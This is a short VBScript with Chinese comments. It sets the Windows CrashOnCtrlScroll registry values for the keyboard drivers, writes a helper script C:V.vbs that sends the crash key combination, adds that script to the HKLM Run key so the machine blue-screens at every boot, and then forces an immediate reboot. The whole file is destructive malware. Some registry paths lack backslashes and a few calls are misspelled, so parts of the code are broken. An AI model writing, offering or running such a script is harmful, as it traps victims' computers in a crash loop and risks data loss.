Dim OperationRegistry

Set OperationRegistry=WScript.CreateObject("WScript.Shell")

Set fso=createobject("scripting.filesystemobject")

Default=OperationRegistry.RegRead("HKLM")

OperationRegistry.Regwrite"HKLMSYSTEMCurrentControlSetServicesi8042prtParametersCrashOnCtrlScroll",1,"REG_DWORD"

OperationRegistry.Regwrite"HKLMSYSTEMCurrentControlSetServices\kbdhidParametersCrashOnCtrlScroll",1,"REG_DWORD" '蓝屏规则注册表修改

Dim fso,wsh

dim txtfile

content="set ws=wscript.createobject("wscript.shell");ws.Sendkeys"^{SCROLLLOCK}{SCROLLLOCK}""

Set fso = CreateObject("scripting.filesystemobject")

Set wsh= CreateObject("Wscript.Shell") 

Set myfile=fso.CreateTextFile( "C:V.txt",,ture)

str=Split(content,";")

content=""

For Each i In str

myfile.WriteLine i

Next 

myfile.Close

wsh.Run "cmd.exe /c ren C:V.txt C:V.vbs"

set myfile=nothing

set wsh=nothing '蓝屏按键写入注册表

Dim AutoRunProgram

Set AutoRunProgram=WScript.CreateObject("WScript.Shell")

RegPath="HKLMSoftwareMicrosoftWindowsCurrentVersionRun"

Type_Name="REG_SZ"

Key_Name="V.vbs"

Key_Data="C:V.vbs"

AutoRunProgram.Write RegPath&Key_Name,Key_Data,Type_Name '开机就蓝屏

set ws=createobject("wscript.shell")

ws.run"cmd.exe /c shutdown -r -f -t 00" '立刻重启